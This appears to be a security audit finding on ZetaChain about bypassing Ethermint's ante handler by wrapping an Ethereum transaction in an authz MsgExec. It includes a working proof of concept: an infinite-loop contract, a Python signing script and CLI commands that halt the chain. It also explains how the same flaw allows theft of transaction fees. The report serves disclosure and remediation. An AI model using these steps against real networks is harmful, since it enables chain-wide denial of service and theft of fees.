Assessment reports>ZetaChain>High findings>Ethermint Ante handler bypass
Category: Coding Mistakes

Ethermint Ante handler bypass

High Severity
High Impact
High Likelihood

Description

It is possible to bypass the EthAnteHandler by wrapping the ethermint.evm.v1.MsgEthereumTx inside a MsgExec as described in https://jumpcrypto.com/bypassing-ethermint-ante-handlers/. These are responsible for numerous vital actions such as deducting the gas limit from the sender's account to limit the number computations a contract can perform.

Impact

It is possible to cause a complete chain halt by deploying a contract with an infinite loop and then calling it with a huge gas limit. Since the coins are not deducted from the senders account, the gas limit will be accepted and the EVM will get stuck in the loop.

The following steps can be performed to replicate this issue. First, create a new account to simulate a malicious user, then deploy the following contract to the zEVM:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract Demo {
    function loop() external {
            while(true) {}
    }
}

Using the details of the malicious account (one can use zetacored keys unsafe-export-eth-key to get the private key) and the deployed contract, sign a transaction and get the hex bytes:

import web3
from web3 import Web3

account = "0x30b254F67cBaB5E6b12b92329b53920DE403aA02"
contract = "0x6da71267cd63Ec204312b7eD22E02e4E656E72ac"
private_key = "xxx"

loop_selector = "0xa92100cb"
loop_data={"data":loop_selector,"from": account, "gas": "0xFFFFFFFFFFFFFFF","gasPrice": "0x7","to": contract,"value": "0x0", "nonce": "0x0"}

w3 = web3.Web3(web3.HTTPProvider("http://localhost:9545"))
print(w3.eth.account.sign_transaction(transaction_dict=nop_data, private_key=private_key))

This can then be used to generate a MsgEthereumTx message, which we then remove the ExtensionOptionsEthereumTx and wrap it in a MsgExec using the authz grant mechanism:

zetacored tx evm raw [TX_HASH] --generate-only > /tmp/tx.json
sed -i 's/{"@type":"\/ethermint.evm.v1.ExtensionOptionsEthereumTx"}//g' /tmp/tx.json
zetacored tx --chain-id athens_101-1 --keyring-backend=test --from $hacker authz exec /tmp/tx.json --fees 20azeta --yes

Since the granter and the grantee are the same in this instance, the grant automatically passes, causing the inner message to be executed and putting the nodes in an infinite loop.

It is also possible to steal all the transaction fees for the current block by supplying a higher gas limit that is used. Since the gas was never paid for, when RefundGas is triggered, it will end up sending any gas that was collected from other transactions.

Recommendations

Consider adding a new Ante handler base on the AuthzLimiterDecorator that was used to fix the issue in EVMOS;

see https://github.com/evmos/evmos/blob/v12.1.2/app/ante/cosmos/authz.go#L58-L91.

Remediation

This issue has been acknowledged by ZetaChain, and a fix was implemented in commit 3362b137.

Zellic © 2024Back to top ↑